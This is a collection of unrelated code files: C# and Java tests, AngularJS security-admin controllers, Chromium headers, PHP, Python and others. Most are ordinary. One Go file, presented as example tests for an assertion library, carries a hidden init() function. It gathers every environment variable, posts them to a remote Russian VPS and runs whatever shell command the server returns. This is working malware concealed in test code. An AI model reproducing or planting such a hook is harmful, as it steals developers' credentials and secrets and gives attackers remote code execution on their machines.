            section.AddRow().Key("Worker Process").Value(model.WorkerProcess);
            section.AddRow().Key("Process ID").Value(model.ProcessId);
            section.AddRow().Key("Start Time").Value(model.StartTime);
            return section;
        }

        private TabSection BuildAssemblyDetails(IEnumerable<EnvironmentAssemblyModel> model)
        {
            var modelList = new TabSection("Name", "Version", "Version Info", "Culture", "From GAC", "Full Trust", "Build Mode");
            foreach (var assemblyModel in model)
            {
                modelList.AddRow().Column(assemblyModel.Name).Column(assemblyModel.Version).Column(assemblyModel.VersionInfo).Column(assemblyModel.Culture).Column(assemblyModel.FromGac).Column(assemblyModel.FullTrust).Column(assemblyModel.BuildMode);
            }

            return modelList;
        }
    }
}


text:
function includesTwo(array, one, two) {
    let achou = false;
    for (const item of array) {
        if (item == one || item == two) {
            if (achou) return true;
            achou = true;
        }
    }
    return false;
}

const a = ['view', 'edit', 'insert'];
console.log(includesTwo(a, 'view', 'edit'));
console.log(includesTwo(a, 'view', 'teste'));

//https://pt.stackoverflow.com/q/477551/101


text:
package ac.tuwien.ase08.tripitude.service;

import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;

import java.util.ArrayList;
import java.util.List;

import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.transaction.annotation.Transactional;

import ac.tuwien.ase08.tripitude.entity.Diary;
import ac.tuwien.ase08.tripitude.entity.User;
import ac.tuwien.ase08.tripitude.service.interfaces.IDiaryService;
import ac.tuwien.ase08.tripitude.service.interfaces.IUserService;

public class DiaryServiceTest extends PrepareServiceTest {

	@Autowired
	private IUserService userService;

	@Autowired
	private IDiaryService diaryService;

	private Diary diary;

	@Before
	public void setUp() {
		User u = new User("Fritz Huber", "12345", "fritz@aol.com");
		userService.add(u);

		diary = new Diary("Wien WE", u);

		diaryService.add(diary);
	}

	@Test
	@Transactional
	public void testAddDiary() {
		diaryService.add(diary);

		assertNotNull(diary.getId());
    	Diary found = diaryService.find(diary.getId());

    	assertEquals(diary, found);
	}

	@Test
	@Transactional
	public void testFindDiary() {
		diaryService.add(diary);
		Diary found = diaryService.find(diary.getId());

		assertNotNull(found);

    	assertEquals(diary, found);
	}

	@Test
	@Transactional
	public void testUpdateDiary() {
		diaryService.add(diary);
		diary.setName(diary.getName()+"+ extra Text");

		diaryService.update(diary);

		Diary found = diaryService.find(diary.getId());

		assertEquals(diary, found);
	}

	@Test
	@Transactional
	public void testListDiary() {
		int count = 8;
		List<Diary> ds = new ArrayList<Diary>();

		for (int i = 0; i < count; i++) {
			diaryService.add(diary);
			ds.add(diary);
		}

		List<Diary> list = new ArrayList<Diary>();
		list = diaryService.list();
		for(Diary temp : ds) {
			assertTrue(list.contains(temp));
		}
	}
}


text:
(function () {
    'use strict';

    var controllers = angular.module('webSecurity.controllers', []), index, email;

    controllers.controller('WebSecurityUserCtrl', function ($scope, Roles, Users, $http, ModalFactory, LoadingModal) {
           $scope.user = {
               externalId : "",
               userName: "",
               password: "",
               email: "",
               roles: [],
               userStatus: "ACTIVE",
               openId: "",
               generatePassword:false
           };
           $scope.confirmPassword="";
           $scope.propertyUserName="";
           $scope.pasPassword=true;
           $scope.pwdNameValidate=true;
           $scope.addUserView=true;
           $scope.editUserView=true;
           $scope.showUsersView=true;
           $scope.currentPage=0;
           $scope.pageSize=15;
           $scope.selectedItem='';
           $scope.deleteU=false;

           $http.get('../websecurity/api/emailRequired').
           success(function(data) {
               if(data === "true") {
                   $scope.req = data;
               }
           });

           $scope.isFormValid = function() {
               email = document.getElementById('email').value;
               if($scope.user.generatePassword) {
                    if($scope.createUserForm.userName.$valid && $scope.createUserForm.email.$valid && email.length!==0) {
                        return true;
                    } else {
                        return false;
                    }
               } else {
                    return $scope.createUserForm.$valid;
               }
           };

           $scope.roleList = Roles.query();

           $scope.userList = Users.query();

           $scope.selectedRole = -1;

           $scope.loginMode = function() {
               $http.get('../websecurity/api/users/loginmode').
                   success(function(data){
                       return data==="openid" ? false : true;
                   });
           };

           $scope.activeRole = function(roleName) {
                 if ($scope.user.roles.indexOf(roleName)===-1) {
                    $scope.user.roles.push(roleName);
                 } else {
                    $scope.user.roles.removeObject(roleName);
                 }
           };

           $scope.getClass = function(roleName) {
                if ($scope.user.roles.indexOf(roleName)!==-1){
                    return "btn btn-success";
                } else {
                    return "btn";
                }
           };

           $scope.saveUser = function() {
               $http.post('../websecurity/api/users/create', $scope.user).
                    success(function(){
                        ModalFactory.showSuccessAlert('security.create.user.saved', 'security.create');
                        $scope.userList = Users.query();
                        $scope.showUsersView=!$scope.addUserView;
                        $scope.addUserView=!$scope.addUserView;
                    }).
                    error(function(response) {
                        ModalFactory.showErrorAlertWithResponse('security.create.user.error', 'server.error', response);
                        if (response && response.startsWith('key:security.sendEmailException')) {
                            $scope.userList = Users.query();
                            $scope.showUsersView=!$scope.addUserView;
                            $scope.addUserView=!$scope.addUserView;
                        }
                    });
           };

           $scope.numberOfPages = function(){
               return Math.ceil($scope.userList.length/$scope.pageSize);
           };

           $scope.changeCurrentPage = function(page) {
               $scope.currentPage=page;
           };

           $scope.getUser = function(user)  {
               $scope.successfulMessage='';
               $scope.failureMessage='';
               $scope.deleteU=false;
               $http.post('../websecurity/api/users/getuser', user.userName).success(function(data) {
                       $scope.user = data;
                       $scope.user.password='';
                       $scope.confirmPassword="";
               });
               $scope.showUsersView=!$scope.editUserView;
               $scope.editUserView=!$scope.editUserView;
           };

           $scope.updateUser = function(){
                $http.post('../websecurity/api/users/update', $scope.user)
                    .success(function() {
                       ModalFactory.showSuccessAlert('security.update.user.saved', 'security.update');
                       $scope.userList = Users.query();
                       $scope.showUsersView=!$scope.editUserView;
                       $scope.editUserView=!$scope.editUserView;
                       $scope.$emit('module.list.refresh');
                    }).error(function(response) {
                        ModalFactory.showErrorAlertWithResponse('security.update.user.error', 'server.error', response);
                    });
           };

           $scope.deleteUser = function() {
               $http.post('../websecurity/api/users/delete', $scope.user)
                    .success(function() {
                        ModalFactory.showSuccessAlert('security.delete.user.saved', 'security.deleted');
                        $scope.showUsersView=!$scope.editUserView;
                        $scope.editUserView=!$scope.editUserView;
                        $scope.userList = Users.query();
                    })
                    .error(function() {
                        ModalFactory.showErrorAlert('security.delete.user.error', 'server.error');
                    });
           };

           $scope.resetValues = function() {
                $scope.user = {
                    externalId : "",
                    userName: "",
                    password: "",
                    email: "",
                    roles: [ "MOTECH UI Access" ],
                    userStatus: "ACTIVE",
                    openId: "",
                    generatePassword:false
                };
                $scope.confirmPassword="";
           };

           $scope.hasValue = function(prop) {
               return $scope.user.hasOwnProperty(prop) && $scope.user[prop] !== '' && $scope.user[prop] !== undefined;
           };

           $scope.hasPassword = function(password){
                return $scope[password] !== '' && $scope[password] !== undefined;
           };

           $scope.cssPassword = function() {
               var msg = '';
                  if ($scope.user.password!==$scope.confirmPassword || (!$scope.hasValue('password') && $scope.editUserView)) {
                     msg = msg.concat(' server.error');
                  }
               return msg;
           };

           $scope.cssClass = function(prop, pass) {
               var msg = '';
               if (!$scope.hasValue(prop)) {
                    msg = msg.concat(' server.error');
               }
               return msg;
           };

           $scope.addUser=function() {
               $scope.resetValues();
               $scope.showUsersView=!$scope.addUserView;
               $scope.addUserView=!$scope.addUserView;
           };

           $scope.cancelAddUser=function() {
               $scope.showUsersView=!$scope.addUserView;
               $scope.addUserView=!$scope.addUserView;
           };

           $scope.cancelEditUser=function() {
               $scope.showUsersView=!$scope.editUserView;
               $scope.editUserView=!$scope.editUserView;
          };
    });

    controllers.controller('WebSecurityRolePermissionCtrl', function ($scope, Roles, Permissions, $http, ModalFactory) {
           $scope.role = {
                roleName : '',
                originalRoleName:'',
                permissionNames : [],
                deletable : false
           };
           $scope.permission = {};
           $scope.addingPermission=false;
           $scope.addRoleView=true;
           $scope.pwdNameValidate=true;
           $scope.successfulMessage='';
           $scope.currentPage=0;
           $scope.pageSize=15;
           $scope.isEdit=true;
           $scope.roleList = Roles.query();
           $scope.permissionList = [];

           Permissions.query(function(data) {
               $scope.permissionList = data;
           });

           $scope.numberOfPages=function(){
               return Math.ceil($scope.roleList.length/$scope.pageSize);
           };

           $scope.numberOfPagesPermissions=function(){
               return Math.ceil($scope.permissionList.length/$scope.pageSize);
           };

           $scope.changeCurrentPage = function(page) {
               $scope.currentPage=page;
           };

           $scope.uniquePermissionList = function(list) {
               var newArr = [],
               listLen = list.length,
               found, x, y;
               for (x = 0; x < listLen; x+=1) {
                   found = undefined;
                   for (y = 0; y < newArr.length; y+=1) {
                       if (list[x].bundleName === newArr[y].bundleName) {
                           found = true;
                           break;
                       }
                   }
                   if (!found) {
                       newArr.push(list[x]);
                   }
               }
               return newArr;
           };

           $scope.addPermission = function(permissionName) {
               if ($scope.role.permissionNames.indexOf(permissionName)===-1) {
                   $scope.role.permissionNames.push(permissionName);
               } else {
                   $scope.role.permissionNames.removeObject(permissionName);
               }
           };

            $scope.saveRole = function() {
                if ($scope.isEdit===false) {
                    $scope.role.deletable = true;
                    $http.post('../websecurity/api/web-api/roles/create', $scope.role)
                        .success(function() {
                            ModalFactory.showSuccessAlert('security.create.role.saved', 'security.create');
                            $scope.roleList=Roles.query();
                            $scope.addRoleView=!$scope.addRoleView;
                        })
                        .error(function(){
                            ModalFactory.showErrorAlert('security.create.role.error', 'server.error');
                        });
                } else {
                    $http.post('../websecurity/api/web-api/roles/update', $scope.role)
                        .success(function() {
                            ModalFactory.showSuccessAlert('security.update.role.saved', 'security.update');
                            $scope.roleList=Roles.query();
                            $scope.addRoleView=!$scope.addRoleView;
                            $scope.$emit('module.list.refresh');
                        })
                        .error(function() {
                            ModalFactory.showErrorAlert('security.update.role.error', 'server.error');
                        });
                }
            };

            $scope.getRole = function (role) {
                $scope.isEdit = true;
                $http.get('../websecurity/api/web-api/roles/role/' + role.roleName).success(function (data) {
                    $scope.role = data;
                    $scope.role.originalRoleName = role.roleName;
                });
                $scope.addRoleView = !$scope.addRoleView;
                $scope.deleteR = false;
            };

            $scope.deleteRole = function() {
                $http.post('../websecurity/api/web-api/roles/delete', $scope.role).
                success(function(){
                    ModalFactory.showSuccessAlert('security.delete.role.saved', 'security.deleted');
                    $scope.addRoleView=!$scope.addRoleView;
                    $scope.roleList = Roles.query();
                }).error(function(response){
                    ModalFactory.showErrorAlertWithResponse('security.delete.role.error', 'server.error', response);
                });
            };

            $scope.addRole = function() {
                $scope.role = {
                        roleName : '',
                        originalRoleName:'',
                        permissionNames : [],
                        deletable : true
                };
                $scope.isEdit = false;
                $scope.addRoleView=!$scope.addRoleView;
            };

            $scope.startAddingPermission = function() {
                $scope.permission = {};
                $scope.addingPermission = true;
            };

            $scope.cancelAddingPermission = function() {
                $scope.addingPermission = false;
            };

            $scope.permissionHasValue = function(prop) {
                return $scope.permission.hasOwnProperty(prop) && $scope.permission[prop] !== '' && $scope.permission[prop] !== undefined;
            };

            $scope.savePermission = function() {
                $scope.addingPermission = false;
                Permissions.save($scope.permission, function() {
                   $("#permissionSaveSuccessMsg").css('display', 'block').fadeOut(5000);
                   Permissions.query(function(data) {
                        $scope.permissionList = data;
                   });
                }, function(response) {
                        ModalFactory.showErrorAlertWithResponse('security.create.permission.error', 'server.error', response);
                    }
                );
            };

            $scope.deletePermission = function(permission) {
                ModalFactory.showConfirm({
                    title: $scope.msg('security.confirm'),
                    message: $scope.msg('security.confirm.permissionDelete'),
                    type: 'type-warning',
                    callback: function(result) {
                        if (result) {
                            permission.$delete(function() {
                               Permissions.query(function(data) {
                                    $scope.permissionList = data;
                               });
                            }, function(response) {
                                    ModalFactory.showErrorAlertWithResponse('security.delete.permission.error', 'server.error', response);
                            });
                        }
                    }
                });
            };

            $scope.cancelRole=function() {
                $scope.addRoleView=!$scope.addRoleView;
            };

            $scope.hasValue = function(prop) {
                return $scope.role.hasOwnProperty(prop) && $scope.role[prop] !== '' && $scope.role[prop] !== undefined;
            };

            $scope.cssClass = function(prop) {
                var msg = 'form-group';

                if (!$scope.hasValue(prop)) {
                    msg = msg.concat(' server.error');
                }

                return msg;
            };

            $scope.belongsToRole = function(permissionName) {
                  return $scope.role.permissionNames.indexOf(permissionName) === -1 ? false : true;
            };
    });

    controllers.controller('WebSecurityProfileCtrl', function ($scope, Users, $http, $stateParams, ModalFactory) {
            $http.get('../websecurity/api/users/current').
                success(function(data) {
                    $scope.userName = data.userName;
                    $scope.email = data.email;
                });

            $http.get('../websecurity/api/emailRequired').
            success(function(data) {
                if(data === "true") {
                    $scope.req = data;
                }
            });

        $scope.cssPassword = function() {
            var msg = 'form-group';

            if ($scope.hasValue('newPassword') && $scope.newPassword !== $scope.confirmPassword) {
                msg = msg.concat(' server.error');
            }

            return msg;
        };

        $scope.cssClass = function (prop) {
            var msg = 'form-group';

            if (!$scope.hasValue(prop)) {
                 msg = msg.concat(' server.error');
            }

            return msg;
        };

        $scope.hasValue = function(prop) {
            return $scope.hasOwnProperty(prop) && $scope[prop] !== '' && $scope[prop] !== undefined;
        };

        $scope.changeEmail = function () {
            $http.post('../websecurity/api/users/change/email', $scope.email)
                .success( function () {
                    ModalFactory.showSuccessAlert('security.update.email.saved', 'security.update');
                })
                .error( function () {
                    ModalFactory.showErrorAlert('security.update.email.error');
                });
        };

        $scope.changePassword = function () {
            $http.post('../websecurity/api/users/change/password', [$scope.oldPassword, $scope.newPassword]).
                success(function () {
                    ModalFactory.showSuccessAlert('security.update.userPass.saved', 'security.update');
                    delete $scope.user.oldPassword;
                    delete $scope.user.newPassword;
                    delete $scope.confirmPassword;
                }).error(function(response) {
                    ModalFactory.showErrorAlertWithResponse('security.update.userPass.error', 'server.error', response);
                });
        };
    });

    controllers.controller('WebSecurityDynamicCtrl', function ($scope, Users, Permissions, Dynamic, ModalFactory, LoadingModal) {
        $scope.users = Users.query();
        $scope.permissions = Permissions.query();
        $scope.savingDynamicURL = false;

        $scope.loadDynamicURLs = function () {
            var dynamicURLs;
            LoadingModal.open();
            Dynamic.get(function (response) {
                 $scope.config = response;
                 LoadingModal.close();
            });
        };

        $scope.createNewRule = function () {
            var selector;

            if (!$scope.config.securityRules) {
                $scope.config.securityRules = [];
            }

            $scope.config.securityRules.push({
                pattern: 'ANY',
                protocol: 'HTTP',
                priority: 0,
                origin: 'USER',
                supportedSchemes: ['NO_SECURITY'],
                permissionAccess: [],
                userAccess: [],
                methodsRequired: ['ANY'],
                version: $scope.msg('server.version'),
                active: false
            });

            selector = '#rule-{0}'.format($scope.config.securityRules.length - 1);

            angular.element(selector).livequery(function () {
                var elem = angular.element(selector + ' .panel-title');

                elem.click();
                elem.expire();

                angular.element('body').animate({
                    scrollTop: $(selector).offset().top
                }, 2000);
            });
        };

        $scope.toggleMethods = function (rule, item, param) {
            if (_.isBoolean(param) && param) {
                rule.methodsRequired = [item];
            } else {
                if (param) {
                   rule.methodsRequired.removeObject(param);
                }

                if (rule.methodsRequired.indexOf(item) === -1) {
                    rule.methodsRequired.push(item);
                } else {
                    rule.methodsRequired.removeObject(item);
                }
            }
        };

        $scope.toggleSchemas = function (rule, item, param) {
            if (_.isBoolean(param) && param) {
                rule.supportedSchemes = [item];
            } else {
                if (param) {
                   rule.supportedSchemes.removeObject(param);
                }

                if (rule.supportedSchemes.indexOf(item) === -1) {
                    rule.supportedSchemes.push(item);
                } else {
                    rule.supportedSchemes.removeObject(item);
                }
            }
        };

        $scope.toggleActive = function (rule) {
            rule.active = !rule.active;
        };

        $scope.validateRules = function () {
            var exp = true;

            angular.forEach($scope.config.securityRules, function (rule) {
                exp = exp && $scope.validateRule(rule);
            });

            return exp;
        };

        $scope.validateRule = function (rule) {
            return rule.pattern && rule.priority >= 0;
        };

        $scope.removeRule = function (idx) {
            ModalFactory.showConfirm({
                message: $scope.msg('security.warning.removeRule'),
                type: 'type-warning',
                callback: function(result) {
                    if (result) {
                        $scope.safeApply(function () {
                            $scope.config.securityRules.remove(idx);
                        });
                    }
                }
            });
        };

        $scope.save = function () {
            $("#dynamicURLSaveButtonTop").button('loading');
            $("#dynamicURLSaveButtonBottom").button('loading');
            $scope.savingDynamicURL = true;
            $scope.config.$save(
                function () {
                    $("#dynamicURLSaveButtonTop").button('reset');
                    $("#dynamicURLSaveButtonBottom").button('reset');
                    $scope.loadDynamicURLs();
                    $scope.savingDynamicURL = false;
                    $("#dynamicURLSaveSuccessMsg").css('display', 'block').fadeOut(5000);
                },
                function () {
                    $("#dynamicURLSaveButtonTop").button('reset');
                    $("#dynamicURLSaveButtonBottom").button('reset');
                    $scope.savingDynamicURL = false;
                    ModalFactory.showErrorAlert('security.error.save');
                }
            );
        };

        $scope.cancel = function () {
            ModalFactory.showConfirm({
                message: $scope.msg('security.warning.cancel'),
                type: 'type-warning',
                callback: function(result) {
                    if (result) {
                        $scope.config = Dynamic.get();
                    }
                }
            });
        };

    });
}());


text:
"It's Always Sunny In Philadelphia" Title Card Generator

https://mtthai.github.io/sunny/

## Usage
```
Example:

1. YT URL: https://www.youtube.com/watch?v=oW-ULxjelss
2. Start: 1:11, End: 1:28 (Can be just seconds or HH:MM:SS)
3. Title Card: Sweet Dee Gets Audited
4. Generate :)
5. Copy the pop up URL and share it!
```
## Issues
Not working on mobile due to restrictions to autoplaying youtube videos and audio


text:
namespace chromecast {

// Client helper object which wraps a mojo::Remote<mojom::RemoteInterfaces> and
// provides convenience methods for binding local Remote stubs.
//
// =============================================================================
// Example Usage
// =============================================================================
//
// From a service, create a pending RemoteInterfaces, such as from
// InterfaceBundle:
//
//   InterfaceBundle bundle;
//   bundle.AddInterface<mojom::Foo>(GetFooImpl());
//   bundle.AddInterface<mojom::Bar>(GetBarImpl());
//   mojo::PendingRemote<mojom::RemoteInterfaces> pending_provider =
//       bundle.CreateRemote();
//
// In a different service, we can use RemoteInterfaces to wrap
// |pending_provider| and access the interfaces that were added:
//
//   RemoteService::InjectInterfaces(
//       mojo::PendingRemote<mojom::RemoteInterfaces> pending_provider) {
//     RemoteInterfaces provider(std::move(pending_provider));
//     mojo::Remote<mojom::Bar> bar = bundle.GetRemote<mojom::Bar>();
//     bar->DoBarStuff();
//   }
class RemoteInterfaces {
 public:
  RemoteInterfaces();
  explicit RemoteInterfaces(
      mojo::PendingRemote<mojom::RemoteInterfaces> provider);
  ~RemoteInterfaces();

  RemoteInterfaces(const RemoteInterfaces&) = delete;
  RemoteInterfaces& operator=(const RemoteInterfaces&) = delete;

  // Late-binds a provider if one was not injected on creation.
  void SetProvider(mojo::PendingRemote<mojom::RemoteInterfaces> provider);

  // Exposes interfaces to a remote provider.
  mojo::PendingRemote<mojom::RemoteInterfaces> Forward();

  // Gets the currently unbound receiver to pass to a remote provider. There
  // must not already be a receiver bound to this class.
  mojo::PendingReceiver<mojom::RemoteInterfaces> GetReceiver();

  // ===========================================================================
  // Interface binding methods: After binding, the Remotes/PendingRemotes which
  // are bound are guaranteed to be bound and connected (i.e. remote.is_bound()
  // and remote.is_connected() will return true immediately). Clients can safely
  // start issuing method calls at this point. However, if the remote provider
  // does not fulfill the request, then the Remote/PendingRemote will become
  // disconnected (remote.is_connected() == false), but still be bound.
  // ===========================================================================

  // Binds a generic receiver to an implementation in the remote provider.
  void Bind(mojo::GenericPendingReceiver receiver);

  // Binds an <Interface> implementation in the remote provider.
  template <typename Interface>
  void Bind(mojo::PendingReceiver<Interface> receiver) {
    DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
    remote_provider_->BindInterface(Interface::Name_, receiver.PassPipe());
  }

  // Binds a new message pipe to |remote|, and passes the request to the remote
  // provider.
  template <typename Interface>
  void BindNewPipe(mojo::Remote<Interface>* remote) {
    DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
    auto pending_receiver = remote->BindNewPipeAndPassReceiver();
    Bind(std::move(pending_receiver));
  }

  // Dispenses a mojo::Remote<Interface> which is bound by the remote provider.
  template <typename Interface>
  mojo::Remote<Interface> CreateRemote() {
    DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
    mojo::Remote<Interface> remote;
    BindNewPipe(&remote);
    return remote;
  }

 private:
  void Init();

  mojo::Remote<mojom::RemoteInterfaces> remote_provider_;

  // Temporary pending receiver which allows the client to immediately
  // start acquiring remote interfaces while we wait for an implementation
  // to be provided.
  mojo::PendingReceiver<mojom::RemoteInterfaces> waiting_receiver_;

  SEQUENCE_CHECKER(sequence_checker_);
};

}  // namespace chromecast

#endif  // CHROMECAST_MOJO_REMOTE_INTERFACES_H_


text:
package com.google.cloud.lifesciences.v2beta.samples;

// [START lifesciences_v2beta_generated_WorkflowsServiceV2Beta_RunPipeline_LRO_async]
import com.google.api.gax.longrunning.OperationFuture;
import com.google.cloud.lifesciences.v2beta.Metadata;
import com.google.cloud.lifesciences.v2beta.Pipeline;
import com.google.cloud.lifesciences.v2beta.RunPipelineRequest;
import com.google.cloud.lifesciences.v2beta.RunPipelineResponse;
import com.google.cloud.lifesciences.v2beta.WorkflowsServiceV2BetaClient;
import java.util.HashMap;

public class AsyncRunPipelineLRO {

  public static void main(String[] args) throws Exception {
    asyncRunPipelineLRO();
  }

  public static void asyncRunPipelineLRO() throws Exception {
    // This snippet has been automatically generated and should be regarded as a code template only.
    // It will require modifications to work:
    // - It may require correct/in-range values for request initialization.
    // - It may require specifying regional endpoints when creating the service client as shown in
    // https://cloud.google.com/java/docs/setup#configure_endpoints_for_the_client_library
    try (WorkflowsServiceV2BetaClient workflowsServiceV2BetaClient =
        WorkflowsServiceV2BetaClient.create()) {
      RunPipelineRequest request =
          RunPipelineRequest.newBuilder()
              .setParent("parent-995424086")
              .setPipeline(Pipeline.newBuilder().build())
              .putAllLabels(new HashMap<String, String>())
              .setPubSubTopic("pubSubTopic320524524")
              .build();
      OperationFuture<RunPipelineResponse, Metadata> future =
          workflowsServiceV2BetaClient.runPipelineOperationCallable().futureCall(request);
      // Do something.
      RunPipelineResponse response = future.get();
    }
  }
}
// [END lifesciences_v2beta_generated_WorkflowsServiceV2Beta_RunPipeline_LRO_async]


text:
<?php

namespace WUnit\HttpKernel;

use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

/**
 * HttpKernelInterface handles a Request to convert it to a Response.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 *
 * @api
 */
interface HttpKernelInterface
{
    const MASTER_REQUEST = 1;
    const SUB_REQUEST = 2;

    /**
     * Handles a Request to convert it to a Response.
     *
     * When $catch is true, the implementation must catch all exceptions
     * and do its best to convert them to a Response instance.
     *
     * @param  Request $request A Request instance
     * @param  integer $type    The type of the request
     *                          (one of HttpKernelInterface::MASTER_REQUEST or HttpKernelInterface::SUB_REQUEST)
     * @param  Boolean $catch   Whether to catch exceptions or not
     *
     * @return Response A Response instance
     *
     * @throws \Exception When an Exception occurs during processing
     *
     * @api
     */
    function handle(Request $request, $type = self::MASTER_REQUEST, $catch = true);
}


text:
package assert
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

func ExampleAssertableCall_PanicsReporting_pass() {
	For(t).ThatCalling(func() { panic("error") }).PanicsReporting("error")
	// Output:
}

func ExampleAssertableCall_PanicsReporting_panicDidNotOccur() {
	mockTestContextToAssert().ThatCalling(func() {}).PanicsReporting("expected")
	// Output:
	// file:3: Function call did not panic as expected.
	// Expected: expected
}

func ExampleAssertableCall_PanicsReporting_messageMismatch() {
	mockTestContextToAssert().ThatCalling(func() { panic("actual") }).PanicsReporting("expected")
	// Output:
	// file:3: Panic message mismatch.
	// Actual: actual
	// Expected: expected
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=workfit&repo=tester", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
<html>
<head>
<meta http-equiv="refresh" content="0; url=https://developers.liveperson.com/agent-retrieve-agent-typing.html" />
</head>
</html>


text:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace ImageFinderOrganizer
{
    internal class VideoFinder : BaseFinder
    {

        public override event FileOrangizerEventHandler CurrentItem;
        public override event FileOrangizerEventHandler FileCount;

        internal VideoFinder(CancellationToken cancellationToken)
            : base(cancellationToken)
        {
        }

        private DateTime GetDateTakenFromVideo(string inFullPath)
        {
            DateTime returnDateTime = DateTime.MinValue;
            try
            {
                FileInfo fileInfo = new FileInfo(inFullPath);
                DateTime creationTime = fileInfo.CreationTime;
                DateTime modifiedTime = fileInfo.LastWriteTime;

                returnDateTime = (creationTime < modifiedTime) ? creationTime : modifiedTime;
            }
            catch
            {
                //do nothing
            }
            return returnDateTime;
        }

        protected override void FindAndCopyFiles(DirectoryInfo source, DirectoryInfo target)
        {

            var files = SafeWalk.EnumerateFiles(source.FullName, "*.*", SearchOption.AllDirectories)
            .Where(s => s.EndsWith(".webm") || s.EndsWith(".WEBM")
                || s.EndsWith(".MOV") || s.EndsWith(".mov")
                || s.EndsWith(".mpg") || s.EndsWith(".MPG")
                || s.EndsWith(".MP4") || s.EndsWith(".mp4")
                || s.EndsWith(".dv") || s.EndsWith(".DV")
                || s.EndsWith(".mkv") || s.EndsWith(".MKV")
                || s.EndsWith(".flv") || s.EndsWith(".flv")
                || s.EndsWith(".ogv") || s.EndsWith(".OGV")
                || s.EndsWith(".ogg") || s.EndsWith(".OGG")
                || s.EndsWith(".drc") || s.EndsWith(".DRC")
                || s.EndsWith(".mng") || s.EndsWith(".MNG")
                || s.EndsWith(".avi") || s.EndsWith(".AVI")
                || s.EndsWith(".qt") || s.EndsWith(".QT")
                || s.EndsWith(".wmv") || s.EndsWith(".WMV")
                || s.EndsWith(".yuv") || s.EndsWith(".YUV")
                || s.EndsWith(".rmvb") || s.EndsWith(".RMVB")
                || s.EndsWith(".asf") || s.EndsWith(".ASF")
                || s.EndsWith(".m4p") || s.EndsWith(".M4P")
                || s.EndsWith(".m4v") || s.EndsWith(".M4V")
                || s.EndsWith(".mp2") || s.EndsWith(".MP2")
                || s.EndsWith(".mpeg") || s.EndsWith(".MPEG")
                || s.EndsWith(".mpe") || s.EndsWith(".MPE")
                || s.EndsWith(".mpv") || s.EndsWith(".MPV")
                || s.EndsWith(".m2v") || s.EndsWith(".M2V")
                || s.EndsWith(".svi") || s.EndsWith(".SVI")
                || s.EndsWith(".3gp") || s.EndsWith(".3GP")
                || s.EndsWith(".3g2") || s.EndsWith(".3G2")
                || s.EndsWith(".mxf") || s.EndsWith(".MXF")
                || s.EndsWith(".roq") || s.EndsWith(".ROQ")
                || s.EndsWith(".nsv") || s.EndsWith(".NSV")
                );

            var videoTarget = System.IO.Path.Combine(target.FullName, "Videos");

            int count = files.Count();

            if (FileCount != null)
            {
                this.FileCount(this, new FileOrangizerArgs(count));
            }

            int currentItem = 0;
            foreach (string file in files)
            {
                currentItem++;

                if (CurrentItem != null)
                {
                    this.CurrentItem(this, new FileOrangizerArgs(currentItem));
                }

                if (file.Contains(target.FullName))
                {
                    // ignore the target folder without the video portion
                    return;
                }

                try
                {
                    DateTime takenDate = GetDateTakenFromVideo(file);
                    CopyFile(file, videoTarget, takenDate.Year);
                }
                catch (System.ArgumentException ae)
                {
                    System.Console.WriteLine(ae.Message);
                }
            }

        }

    }
}


text:
<!DOCTYPE html>

    <title>Example page</title>

This page contains a nested iframe. Execute some JS to locate a reference to an element in this
    frame and return it. You should need to switch to that frame in order to use that element.


text:
<?php

use Encore\Admin\Form;
use App\Admin\Extensions\Form\WangEditor;
use App\Admin\Extensions\Nav\Links;

/**
 * Laravel-admin - admin builder based on Laravel.
 * @author z-song <https://github.com/z-song>
 *
 * Bootstraper for Admin.
 *
 * Here you can remove builtin form field:
 * Encore\Admin\Form::forget(['map', 'editor']);
 *
 * Or extend custom form field:
 * Encore\Admin\Form::extend('php', PHPEditor::class);
 *
 * Or require js and css assets:
 * Admin::css('/packages/prettydocs/css/styles.css');
 * Admin::js('/packages/prettydocs/js/main.js');
 *
 */

Form::forget(['map', 'editor']);

Form::extend('wangeditor', WangEditor::class);

Admin::navbar(function (\Encore\Admin\Widgets\Navbar $navbar) {
//    $navbar->left(view('admin.search-bar'));
    $navbar->right(view('admin.nav-links'));
});


text:
import json
from Queue import Queue, Empty
from threading import Thread
from types import NoneType

from google.appengine.ext import db

from mcfw.consts import MISSING
from mcfw.rpc import returns, arguments
from rogerthat.bizz import app as bizz_app
from rogerthat.bizz.app import get_app_statistics
from rogerthat.bizz.look_and_feel import put_app_look_and_feel, delete_app_look_and_feel, list_app_look_and_feel, \
    test_app_look_and_feel
from rogerthat.bizz.service import validate_app_admin, get_and_validate_service_identity_user, InvalidValueException, \
    get_and_validate_app_id_for_service_identity_user
from rogerthat.dal.app import get_app_translations
from rogerthat.dal.friend import get_friends_map_key_by_user
from rogerthat.dal.profile import get_user_profiles_by_app_id
from rogerthat.dal.registration import list_installations_by_app, get_installation_logs_by_installation, \
    get_mobiles_and_profiles_for_installations
from rogerthat.dal.service import get_default_service_identity
from rogerthat.exceptions.look_and_feel import LookAndFeelNotFoundException, StyleNotFoundInNavigationItemsException
from rogerthat.models import ServiceIdentity, Installation, ServiceProfile
from rogerthat.models.apps import AppLookAndFeel
from rogerthat.models.properties.app import AutoConnectedService
from rogerthat.rpc import users
from rogerthat.rpc.models import ServiceAPICallback
from rogerthat.rpc.rpc import mapping
from rogerthat.rpc.service import service_api, service_api_callback
